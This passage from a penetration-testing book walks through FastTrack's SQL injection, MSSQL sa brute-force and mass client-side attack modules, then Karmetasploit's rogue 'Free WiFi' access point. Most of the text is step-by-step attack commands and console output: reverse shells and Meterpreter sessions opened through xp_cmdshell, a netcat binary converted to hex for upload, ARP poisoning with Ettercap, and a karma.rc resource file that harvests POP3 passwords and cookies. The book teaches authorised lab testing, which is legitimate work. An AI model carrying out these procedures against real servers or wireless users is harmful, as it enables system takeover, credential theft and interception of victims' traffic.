Sending the last portion of the payload (4/4)...
Running cleanup before executing the payload...
Running the payload on the server...Sending initial request to enable
xp_cmdshell if disabled...
Sending first portion of payload (1/4)...
Sending second portion of payload (2/4)...
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
Running cleanup before executing the payload...
Running the payload on the server...
listening on [any] 4444 ...
connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

Success! Full access was granted to the system, all through SQL injection.

Note that this attack will not succeed if parameterized SQL queries or stored procedures are in use. Note, too, that the required configuration for this attack is very minimal. After selecting SQL Injector - Query String Parameter Attack from the menu of attacks, you simply direct FastTrack to the point of SQL injection . If the xp_cmdshell stored procedure is disabled, FastTrack will automatically re-enable it and attempt privilege escalation of MS SQL.

SQL Injector — POST Parameter Attack

FastTrack’s POST parameter attack requires even less configuration than the preceding query string parameter attack. For this attack, simply pass FastTrack the URL of the website you want to attack, and it will automatically detect the form to attack.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 2

This portion allows you to attack all forms on a specific
website without having to specify
each parameter. Just type the URL in, and FastTrack will auto
SQL inject to each parameter
looking for both error based injection as well as blind
based SQL injection. Simply type
the website you want to attack, and let it roll.

Example: http://www.sqlinjectablesite.com/index.aspx

Enter the URL to attack: http://www.secmaniac.com

Forms detected...attacking the parameters in hopes of exploiting SQL Injection..

Sending payload to parameter: txtLogin

Sending payload to parameter: txtPassword

[-] The PAYLOAD is being delivered. This can take up to two minutes. [-]

listening on [any] 4444 ...
connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

As you can see, FastTrack handled the automatic detection of the POST parameters and injected the attack, completely compromising the affected system via SQL injection.

Note

You can also use FTP to deliver your payload, although FTP is generally blocked on outbound-based connections.

Manual Injection

If you have a different IP address listening for the reverse shell or you need to fine-tune some of the configuration settings, you can set up the injector manually.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 4

The manual portion allows you to customize your attack for whatever reason.

You will need to designate where in the URL the SQL Injection is by using
'INJECTHERE

So for example, when the tool asks you for the SQL Injectable URL, type:

http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah

Enter the URL of the susceptible site, remember to put 'INJECTHERE for the
injectible parameter

Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah

Enter here: http://www.secmaniac.com/index.asp?id='INJECTHERE&date=2010
Enter the IP Address of server with NetCat Listening: 10.211.55.130
Enter Port number with NetCat listening: 9090

Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload....
Sending second portion of payload....
Sending next portion of payload...
Sending the last portion of the payload...
Running cleanup...
Running the payload on the server...
listening on [any] 9090 ...
10.211.55.128: inverse host lookup failed: Unknown server error : Connection
timed out
connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1045
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

First choose the manual option at . Then, as in the query string parameter attack, point FastTrack to the parameter vulnerable to SQL injection and input your listening IP address at along with the port you want your target to connect to at . FastTrack takes care of the rest.

MSSQL Bruter

Perhaps one of the best aspects of FastTrack is the MSSQL Bruter (available from the Microsoft SQL Attack Tools menu). When MS SQL is installed, MSSQL Bruter can use integrated Windows authentication, SQL authentication, or mixed-mode authentication.

Mixed-mode authentication allows users to be verified from Windows authentication as well as directly from the MS SQL Server. If mixed-mode or SQL authentication is used during the installation of MS SQL, the administrator installing the software needs to specify an sa, or system administrator, account for MS SQL. Often, administrators choose a weak, blank, or easily guessable password that can be used to an attacker’s advantage. If the sa account can be brute forced, it will lead to a compromise of the entire system through the extended stored procedure xp_cmdshell.

FastTrack uses a few methods for discovery when looking for MS SQL servers, including using nmap to perform port scans of the default MS SQL TCP port 1433. If the target machine is using MS SQL Server 2005 or later, dynamic port ranges can be used, which makes it more difficult to enumerate, but FastTrack directly interfaces with Metasploit and can look for port 1434 User Datagram Protocol (UDP) to reveal which port MS SQL server’s dynamic port is running.

Once FastTrack has identified a server and successfully brute forced the sa account, it will use advanced binary-to-hex conversion methods to deliver a payload. This attack is usually highly successful, especially in large environments where MS SQL is widely used.

Here’s the initial attack:

Microsoft SQL Attack Tools

Pick a list of the tools from below:

1. MSSQL Injector
2. MSSQL Bruter
3. SQLPwnage

Enter your choice : 2

Enter the IP Address and Port Number to Attack.

Options: (a)ttempt SQL Ping and Auto Quick Brute Force
(m)ass scan and dictionary brute
(s)ingle Target (Attack a Single Target with big dictionary)
(f)ind SQL Ports (SQL Ping)
(i) want a command prompt and know which system is vulnerable
(v)ulnerable system, I want to add a local admin on the box...
(e)nable xp_cmdshell if its disabled (sql2k and sql2k5)

After we select the MSSQL Bruter option, FastTrack presents us with a list of various attacks that can be conducted. Not all of these will work in every situation, or even serve the same purpose, so it is important to be sure that you understand what is happening for each option.

FastTrack has several options:

- Attempt SQL Ping and Auto Quick Brute Force attempts to scan a range of IP addresses using the same syntax as nmap and a built-in predefined dictionary list of about 50 passwords.

- Mass scan and dictionary brute scans a range of IP addresses and allows you to specify a word list of your own. FastTrack comes with a decent word list located at bin/dict/wordlist.txt.

- Single Target allows you to brute force one specific IP address with a large word list.

- Find SQL Ports (SQL Ping) only looks for SQL servers and will not attack them.

- I want a command prompt . . . spawns a command prompt for you if you already know the sa password.

- Vulnerable system . . . adds a new administrative user on a box that you know to be vulnerable.

- Enable xp_cmdshell . . . is a stored procedure FastTrack uses to execute underlying system commands. By default, it is disabled in SQL Server versions 2005 and later, but FastTrack can automatically re-enable it. When attacking a remote system with any option, FastTrack will automatically attempt to re-enable xp_cmdshell, just in case.

You can use and customize several options to reach your target, the easiest of which is the quick brute force, which will often go undetected. We’ll select the quick brute force option using a subset of built-in passwords and attempt to guess the password on the MS SQL server.

Enter the IP Address and Port Number to Attack.

Options: (a)ttempt SQL Ping and Auto Quick Brute Force
(m)ass scan and dictionary brute
(s)ingle Target (Attack a Single Target with big dictionary)
(f)ind SQL Ports (SQL Ping)
(i) want a command prompt and know which system is vulnerable
(v)ulnerable system, I want to add a local admin on the box...
(e)nable xp_cmdshell if its disabled (sql2k and sql2k5)

Enter Option: a
Enter username for SQL database (example:sa): sa
Configuration file not detected, running default path.
Recommend running setup.py install to configure FastTrack.
Setting default directory...
Enter the IP Range to scan for SQL Scan (example 192.168.1.1-255):
10.211.55.1/24

Do you want to perform advanced SQL server identification on non-standard
SQL ports? This will use UDP footprinting in order to determine where the SQL
servers are at. This could take quite a long time.

Do you want to perform advanced identification, yes or no: yes

[-] Launching SQL Ping, this may take a while to footprint.... [-]

[*] Please wait while we load the module tree...
Brute forcing username: sa

Be patient this could take awhile...

Brute forcing password of password2 on IP 10.211.55.128:1433
Brute forcing password of on IP 10.211.55.128:1433
Brute forcing password of password on IP 10.211.55.128:1433

SQL Server Compromised: "sa" with password of: "password" on IP
10.211.55.128:1433

Brute forcing password of sqlserver on IP 10.211.55.128:1433
Brute forcing password of sql on IP 10.211.55.128:1433
Brute forcing password of password1 on IP 10.211.55.128:1433
Brute forcing password of password123 on IP 10.211.55.128:1433
Brute forcing password of complexpassword on IP 10.211.55.128:1433
Brute forcing password of database on IP 10.211.55.128:1433
Brute forcing password of server on IP 10.211.55.128:1433
Brute forcing password of changeme on IP 10.211.55.128:1433
Brute forcing password of change on IP 10.211.55.128:1433
Brute forcing password of sqlserver2000 on IP 10.211.55.128:1433
Brute forcing password of sqlserver2005 on IP 10.211.55.128:1433
Brute forcing password of Sqlserver on IP 10.211.55.128:1433
Brute forcing password of SqlServer on IP 10.211.55.128:1433
Brute forcing password of Password1 on IP 10.211.55.128:1433

. . . SNIP . . .

*******************************************
The following SQL Servers were compromised:
*******************************************

1. 10.211.55.128:1433 *** U/N: sa P/W: password ***

*******************************************

To interact with system, enter the SQL Server number.

Example: 1. 192.168.1.32 you would type 1

Enter the number:

After selecting Attempt SQL Ping and Auto Quick Brute Force at , you will be prompted for a SQL database username , followed by the range of IP addresses you want to scan at . Answer yes when asked whether you want to perform advanced server identification . Although slow, this can be very effective.

The preceding output shows that FastTrack successfully brute forced a system with the username of sa and password password. At this point, you can select the payload and compromise the system, as shown here.

Enter number here: 1

Enabling: XP_Cmdshell...
Finished trying to re-enable xp_cmdshell stored procedure if disabled.

Configuration file not detected, running default path.
Recommend running setup.py install to configure FastTrack.
Setting default directory...
What port do you want the payload to connect to you on: 4444
Metasploit Reverse Meterpreter Upload Detected..
Launching Meterpreter Handler.
Creating Metasploit Reverse Meterpreter Payload..
Sending payload: c88f3f9ac4bbe0e66da147e0f96efd48dad6
Sending payload: ac8cbc47714aaeed2672d69e251cee3dfbad
Metasploit payload delivered..
Converting our payload to binary, this may take a few...
Cleaning up...
Launching payload, this could take up to a minute...
When finished, close the metasploit handler window to return to other
compromised SQL Servers.
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (10.211.55.130:4444 -> 10.211.55.128:1030)

meterpreter >

You should now have full access to the machine using the Meterpreter payload.

SQLPwnage

SQLPwnage is a mass brute force attack that can be used against web applications in an attempt to find Microsoft SQL injection. SQLPwnage will scan subnets for web servers on port 80, crawl websites, and attempt to fuzz post parameters until it finds SQL injection. It supports both error-and blind-based SQL injection and will handle everything from privilege escalation to re-enabling the xp_cmdshell stored procedure, bypassing the Windows debug 64KB restriction, and dropping any payload you want onto the system.

Begin the configuration for this attack by selecting Microsoft SQL Tools from the FastTrack main menu, followed by SQLPwnage, option 2, as shown below.

SQLPwnage Main Menu:

1. SQL Injection Search/Exploit by Binary Payload Injection (BLIND)
2. SQL Injection Search/Exploit by Binary Payload Injection (ERROR BASED)
3. SQL Injection single URL exploitation

Enter your choice: 2

. . . SNIP . . .

Scan a subnet or spider single URL?

1. url
2. subnet (new)
3. subnet (lists last scan)

Enter the Number: 2

Enter the ip range, example 192.168.1.1-254: 10.211.55.1-254
Scanning Complete!!! Select a website to spider or spider all??

1. Single Website
2. All Websites

Enter the Number: 2

Attempting to Spider: http://10.211.55.128
Crawling http://10.211.55.128 (Max Depth: 100000)
DONE
Found 0 links, following 0 urls in 0+0:0:0
Spidering is complete.

*************************************************************************
http://10.211.55.128
*************************************************************************

[+] Number of forms detected: 2 [+]

A SQL Exception has been encountered in the "txtLogin" input field of the
above website.

Depending on whether the website presents an error when SQL injection attempts are made, you will need to choose between BLIND and ERROR BASED attacks. At we choose ERROR BASED because the site is kind enough to report back error messages when it has trouble executing a SQL query.

Next, choose either to spider a single URL or to scan a complete subnet . After scanning the subnet, we choose to attack all the sites FastTrack found . As you can see, scanning all the sites found a vulnerable form on one site.

The final configuration steps require that you select a payload. In the following example, you select Metasploit Meterpreter Reflective Reverse TCP along with the port at that you want your attacking machine to listen on. After FastTrack has successfully exploited the SQL injection vulnerability, it sends a chunked payload to the target and eventually presents you with your Meterpreter shell .

What type of payload do you want?

1. Custom Packed FastTrack Reverse Payload (AV Safe)
2. Metasploit Reverse VNC Inject (Requires Metasploit)
3. Metasploit Meterpreter Payload (Requires Metasploit)
4. Metasploit TCP Bind Shell (Requires Metasploit)
5. Metasploit Meterpreter Reflective Reverse TCP
6. Metasploit Reflective Reverse VNC

Select your choice: 5
Enter the port you want to listen on: 9090
[+] Importing 64kb debug bypass payload into FastTrack... [+]
[+] Import complete, formatting the payload for delivery.. [+]
[+] Payload Formatting prepped and ready for launch. [+]
[+] Executing SQL commands to elevate account permissions. [+]
[+] Initiating stored procedure: 'xp_cmdhshell' if disabled. [+]
[+] Delivery Complete. [+]
Created by msfpayload (http://www.metasploit.com).
Payload: windows/patchupmeterpreter/reverse_tcp
Length: 310
Options: LHOST=10.211.55.130,LPORT=9090
Launching MSFCLI Meterpreter Handler
Creating Metasploit Reverse Meterpreter Payload..
Taking raw binary and converting to hex.
Raw binary converted to straight hex.
[+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]

. . . SNIP . . .

Running cleanup before launching the payload....
[+] Launching the PAYLOAD!! This may take up to two or three minutes. [+]
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (718347 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.211.55.130:9090 -> 10.211.55.128:1031)

meterpreter >

Binary-to-Hex Generator

The binary-to-hex generator is useful when you already have access to a system and you want to deliver an executable to the remote file system. Point FastTrack to the executable, and it will generate a text file that you can copy and paste to the target operating system. To convert the hexadecimal back to a binary and execute it, choose option 6 as shown at below.

Enter the number: 6
Binary to Hex Generator v0.1

. . . SNIP . . .

Enter the path to the file you
want to convert to hex: pentestexploits/fasttrack/nc.exe

Finished...
Opening text editor...

// Output will look like this

DEL T 1>NUL 2>NUL
echo EDS:0 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00>>T
echo EDS:10 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00>>T
echo FDS:20 L 10 00>>T
echo EDS:30 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00>>T
echo EDS:40 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68>>T
echo EDS:50 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F>>T
echo EDS:60 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20>>T
echo EDS:70 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00>>T

After selecting the Binary to Hex Payload Converter, point FastTrack to the binary you want to convert at and wait for the magic. At this point, you can simply copy and paste the output from into an existing shell window.

Mass Client-Side Attack

The mass client-side attack is similar to the Browser Autopwn function; however, this attack includes additional exploits and built-in features that can incorporate ARP cache and DNS poisoning on the target’s machine, and additional browser exploits not included in Metasploit.

When a user connects to your web server, FastTrack will fire off every exploit in its arsenal as well as those in the Metasploit Framework. If the user’s machine is susceptible to a specific vulnerability within one of these libraries, the attacker will obtain full access to the target machine.

Enter the number: 4

. . . SNIP . . .

Enter the IP Address you want the web server to listen on: 10.211.55.130

Specify your payload:

1. Windows Meterpreter Reverse Meterpreter
2. Generic Bind Shell
3. Windows VNC Inject Reverse_TCP (aka "Da Gui")
4. Reverse TCP Shell

Enter the number of the payload you want: 1

After selecting option 4, Mass Client-Side Attack , from the main menu, tell FastTrack what IP address the web server should listen on , and then choose a payload .

Next, decide whether to use Ettercap to ARP-poison your target machine. Ettercap will intercept all requests that the target makes and redirect them to your malicious server. After confirming that you want to use Ettercap at , enter the IP address of the target you want to poison . FastTrack will then go ahead and set up Ettercap for you.

Would you like to use Ettercap to ARP poison a host yes or no: yes

. . . SNIP . . .

What IP Address do you want to poison: 10.211.55.128
Setting up the ettercap filters....
Filter created...
Compiling Ettercap filter...

. . . SNIP . . .

Filter compiled...Running Ettercap and poisoning target...

Once a client connects to your malicious server, Metasploit fires exploits at the target. In the following listing, you can see that the Adobe exploit is successful, and a Meterpreter shell is waiting .

Note

You could use ARP cache poisoning within this attack, but it will only work when you are on the same local and unrestricted subnet as the target.

[*] Local IP: http://10.211.55.130:8071/
[*] Server started.
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Exploit running as background job.
[*] Using URL: http://0.0.0.0:8072/
[*] Local IP: http://10.211.55.130:8072/
[*] Server started.
msf exploit(zenturiprogramchecker_unsafe) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8073/
[*] Local IP: http://10.211.55.130:8073/
[*] Server started.
[*] Sending Adobe Collab.getIcon() Buffer Overflow to 10.211.55.128:1044...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 10.211.55.128:1047...
[*] Sending Adobe JBIG2Decode Memory Corruption Exploit to 10.211.55.128:1046...
[*] Sending exploit to 10.211.55.128:1049...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to
10.211.55.128:1076...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (10.211.55.130:9007 -> 10.211.55.128:1077
msf exploit(zenturiprogramchecker_unsafe) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 10.211.55.130:9007 -> 10.211.55.128:1077

msf exploit(zenturiprogramchecker_unsafe) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

A Few Words About Automation

FastTrack offers a plethora of exploitation capabilities that expand upon the feature-rich Metasploit Framework. When coupled with Metasploit it will allow you to use advanced attack vectors to fully control a target machine. Of course, automated attack vectors do not always succeed, which is why you must understand the system you are performing the attack against and ensure that when you attack it, you know its chances of success. If an automated tool fails, your ability to perform the tests manually and successfully attack the target system will make you a better penetration tester.

Chapter 12. Karmetasploit

Karmetasploit is Metasploit’s implementation of KARMA, a set of wireless security tools developed by Dino Dai Zovi and Shane Macaulay. KARMA takes advantage of a vulnerability inherent in the way Windows XP and Mac OS X operating systems search for networks: When each system boots, it sends beacons looking for networks to which it has connected previously.

An attacker using KARMA sets up a fake access point on his computer and then listens for and responds to these beacons from the target, pretending to be whatever wireless network the client is looking for. Because most client computers are configured to connect automatically to wireless networks they have already used, KARMA can be used to gain complete control of a client’s network traffic, thus allowing an attacker to launch client-side attacks, capture passwords, and so forth. With the prevalence of poorly secured corporate wireless networks, an attacker using KARMA can sit in a nearby parking lot, adjacent office, or similar, and gain access to a target’s network with little effort. You can read more about the original implementation of KARMA at http://trailofbits.com/karma/.

Karmetasploit is the Metasploit Framework implementation of the KARMA attack. It implements various “evil” services including DNS, POP3, IMAP4, SMTP, FTP, SMB, and HTTP. These services accept and respond to most requests from clients and will serve up all kinds of malicious fun. (The various modules are in the modules/auxiliary/server directory of the Metasploit root directory.)

Configuration

Karmetasploit requires very little configuration. To begin, we configure a DHCP server to be used to hand out IP addresses to wireless targets. Back|Track includes a DHCP server, but we will need to create a custom configuration file for it to use with Karmetasploit, as shown in the following listing:

option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

We back up our original dhcpd.conf file by entering cp etcdhcp3/dhcpd.confetcdhcp3/dhcpd.conf.back, and then we create a new file containing the data shown at , which will serve addresses in the range of 10.0.0.100 to 10.0.0.254 . (If you are unfamiliar with DHCP configurations, don’t worry; as long as your new dhcpd.conf looks similar to this it should work fine.)

Next, we download the KARMA resource file, because as of this writing it’s not included in the regular Metasploit trunk:

root@bt:optmetasploit3/msf3# wget
http://www.offensive-security.com/downloads/karma.rc

When we open the KARMA resource file karma.rc, we can see the sequence of events that occur when it runs, as shown here:

root@bt:optmetasploit3/msf3# cat karma.rc
db_connect postgres:toor@127.0.0.1/msfbook
use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST 10.0.0.1
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST 10.0.0.1
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads
run
use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
run

After loading the database (db_connect postgres:toor@127.0.0.1/msfbook) in which to store its results, KARMA loads the browser_autopwn server as shown at . This is a handy way to attempt a number of exploits against a browser in an untargeted manner. A handful of the browser-based exploits in the Framework contain the directive include Msf::Exploit::Remote::BrowserAutopwn: Exploits that contain that include line will be attempted when the autopwn server is accessed.

At and , the local IP address is set to 10.0.0.1, which coincides with the default DHCP configuration. Then, in lines and on, the various servers are configured and started. (To get a complete picture of what occurs in this attack, read the resource file.)

Next, we place our wireless card in monitor mode. The way in which we do this depends on our wireless card’s chipset. The wireless card in the following example uses the RT73 chipset. We use airmon-ng start wlan0 to place it in monitor mode:

root@bt:optmetasploit3/msf3# airmon-ng start wlan0

Note

If your card uses a different chipset from the one used in this example, visit the Aircrack-ng website (http://www.aircrack-ng.org/) for specifics on how to place your card in monitor mode.

Launching the Attack

The airbase-ng component of the Aircrack-ng suite is used to create Karmetasploit’s fake access point. In the next example, we configure the airbase-ng access point to respond to all probes (-P), to beacon every 30 seconds (-C 30) with the ESSID Free Wi-Fi (-e "Free WiFi"), and to be verbose (-v) using the interface mon0:

root@bt:optmetasploit3/msf3# airbase-ng -P -C 30 -e "Free WiFi" -v mon0
14:06:57 Created tap interface at0
14:06:57 Trying to set MTU on at0 to 1500
14:06:57 Trying to set MTU on mon0 to 1800
14:06:57 Access Point with BSSID 00:21:29:E2:DE:14 started.

As you can see at , Airbase-ng creates a new interface called at0. Karmetasploit will use this interface.

Next, we turn on the at0 interface and start the DHCP server:

root@bt:optmetasploit3/msf3#
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
root@bt:optmetasploit3/msf3# dhcpd3 -cf etcdhcp3/dhcpd.conf at0

. . . SNIP . . .

Wrote 0 leases to leases file.
Listening on LPF/at0/00:21:29:e2:de:14/10.0.0/24
Sending on LPF/at0/00:21:29:e2:de:14/10.0.0/24
Sending on Socket/fallback/fallback-net
Can't create PID file varrun/dhcpd.pid: Permission denied.
root@bt:optmetasploit3/msf3# ps aux |grep dhcpd
dhcpd 4015 0.0 0.2 3812 1840 ? Ss
14:09 0:00 dhcpd3 -cf etcdhcp3/
dhcpd.conf at0
root 4017 0.0 0.0 2012 564 pts/4 S+ 14:09 0:00 grep dhcpd
root@bt:optmetasploit3/msf3# tail tail -f varlog/messages
Apr 2 14:06:57 bt kernel: device mon0 entered promiscuous mode
Apr 2 14:09:30 bt dhcpd: Internet Systems Consortium DHCP Server V3.1.1
Apr 2 14:09:30 bt kernel: warning: `dhcpd3' uses 32-bit
capabilities (legacy support in use)
Apr 2 14:09:30 bt dhcpd: Copyright 2004-2008 Internet Systems Consortium.
Apr 2 14:09:30 bt dhcpd: All rights reserved.
Apr 2 14:09:30 bt dhcpd: For info, please visit http://www.isc.org/sw/dhcp/
Apr 2 14:09:30 bt dhcpd: Wrote 0 leases to leases file.
Apr 2 14:09:30 bt dhcpd: Listening on LPF/at0/00:21:29:e2:de:14/10.0.0/24
Apr 2 14:09:30 bt dhcpd: Sending on LPF/at0/00:21:29:e2:de:14/10.0.0/24

The at0 interface is turned on using the IP address of 10.0.0.1 shown at , and the DHCP server is started using the configuration file we created earlier, also using at0 as shown at . To make sure that the DHCP server is running, we run a quick ps aux at . Finally, we tail the messages log file at to see when IP addresses are being handed out.

Now that the entire Karmetasploit configuration is complete, we can load the resource file from within msfconsole using resource karma.rc as shown next. (Note that we can also pass the resource file to msfconsole via the command line by entering msfconsole -r karma.rc.) Let’s see it in action:

msf > resource karma.rc
resource (karma.rc)> db_connect postgres:toor@127.0.0.1/msfbook
resource (karma.rc)> use auxiliary/server/browser_autopwn
resource (karma.rc)> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
resource (karma.rc)> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
resource (karma.rc)> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource (karma.rc)> set LHOST 10.0.0.1
LHOST => 10.0.0.1
resource (karma.rc)> set LPORT 45000
LPORT => 45000
resource (karma.rc)> set SRVPORT 55550
SRVPORT => 55550
resource (karma.rc)> set URIPATH /ads
URIPATH => /ads
resource (karma.rc)> run
[*] Auxiliary module execution completed
resource (karma.rc)> use auxiliary/server/capture/pop3
resource (karma.rc)> set SRVPORT 110
SRVPORT => 110
resource (karma.rc)> set SSL false
SSL => false
resource (karma.rc)> run

. . . SNIP . . .

[*] Starting exploit windows/browser/winzip_fileview with payload windows/
meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:55550/N9wReDJhfKg
[*] Local IP: http://192.168.1.101:55550/N9wReDJhfKg
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse handler on 10.0.0.1:3333
[*] Starting the payload handler...
[*] Started reverse handler on 10.0.0.1:6666
[*] Starting the payload handler...
[*] --- Done, found 15 exploit modules
[*] Using URL: http://0.0.0.0:55550/ads
[*] Local IP: http://192.168.1.101:55550/ads
[*] Server started.

As you can see, a great deal is happening with the resource file. In this listing, the LHOST address is set to 10.0.0.1 at , the POP3 service (among others) is started at , the autopwn exploits are loaded at , and payloads are configured at .

Credential Harvesting

When a client connects to our malicious access point, the messages file we are tailing will show us when an IP address is handed out. This is our cue to switch back to msfconsole to see what is happening. Here, we see that a client connects and is assigned an IP address:

Apr 2 15:07:34 bt dhcpd: DHCPDISCOVER from 00:17:9a:b2:b1:6d via at0
Apr 2 15:07:35 bt dhcpd: DHCPOFFER on 10.0.0.100 to
00:17:9a:b2:b1:6d (v-xp-sp2-bare) via at0
Apr 2 15:07:35 bt dhcpd: DHCPREQUEST for 10.0.0.100 (10.0.0.1) from 00:17:9a:b2:b1:6d
(v-xp-sp2-bare) via at0
Apr 2 15:07:35 bt dhcpd: DHCPACK on 10.0.0.100 to 00:17:9a:
b2:b1:6d (v-xp-sp2-bare) via at0

The first thing our target does is open an email client. Karmetasploit is waiting, as shown here:

[*] DNS 10.0.0.100:1049 XID 45030 (IN::A time.windows.com)
[*] DNS 10.0.0.100:1049 XID 47591 (IN::A pop3.securemail.com)
[*] POP3 LOGIN 10.0.0.100:1102 bsmith / s3cr3tp4s5

The POP3 server configured by Metasploit intercepts the target’s email username and password at , because all DNS requests are intercepted by the DNS server that Karmetasploit set up for us.

Getting a Shell

At this point, the user has no new messages, so he decides to do some web browsing. When the browser opens, a captive portal is presented to the user, as shown in Figure 12-1.

Figure 12-1. Karmetasploit captive portal

As the user sits in front of his computer wondering what’s going on, Karmetasploit is busy configuring the attack to capture cookies; set up fake email, DNS, and other servers; and launch exploits against the client’s browser — all the result of the magic contained in our karma.rc file.

Of course, some degree of luck is involved in this attack. The browser will display a “Loading” page while exploits are launched. If the user is impatient, he may simply close the browser window, which will stop our exploits.

Next, you can see the massive amount of output that results from this attack:

[*] HTTP REQUEST 10.0.0.100 > www.microsoft.com:80 GET isapiredir.dll Windows IE 6.0
cookies=WT_NVR=0=/:1=downloads:2=downloads/en;
WT_FPC=id=111.222.333.444-1008969152
.30063513:lv=1267703430218:ss=1267703362203;MC1
=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&HASH=
d23f&LV=20103&V=3; A=I&I=AxUFAAAAAAAu
BwAADSAT6RJMarfs902pHsnj0g!!; MUID=C7149D932C864
18EBC913CE45C4326AE
[*] Request '/ads' from 10.0.0.100:1371

[*] HTTP REQUEST 10.0.0.100 > adwords.google.com:80
GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > blogger.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > care.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > careerbuilder.com:80 GET
/forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > ecademy.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > facebook.com:80 GET /
forms.html Windows IE 6.0 cookies=

. . . SNIP . . .

[*] HTTP REQUEST 10.0.0.100 > www.slashdot.org:80
GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.twitter.com:80
GET /forms.html Windows IE 6.0 cookies=
[*] Request '/ads?sessid=V2luZG93czpYUDpTUDI6ZW
4tdXM6eDg2Ok1TSUU6Ni4wO1NQMjo%3d' from
10.0.0.100:1371
[*] JavaScript Report: Windows:XP:SP2:en-us:x86:MSIE:6.0;SP2:
[*] Responding with exploits
[*] HTTP REQUEST 10.0.0.100 > www.xing.com:80 GET /
forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET /forms.html
Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.ziggs.com:80 GET /forms.html
Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > xing.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /forms.html Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > care.com:80 GET / Windows IE 6.0 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET / Windows IE 6.0 cookies=

[*] HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80
POST objectsocget.dll Windows IE
6.0 cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:lv=1267703430218:ss=
1267703362203; MC1=GUID=09633fd2bddcdb46a1fe62cc49fb4ac4&
HASH=d23f&LV=20103&V=3;A=I&I=
AxUFAAAAAAAuBwAADSAT6RJMarfs902pHsnj0g!!; MUID=C7149D932C86418EBC913CE45C4326AE
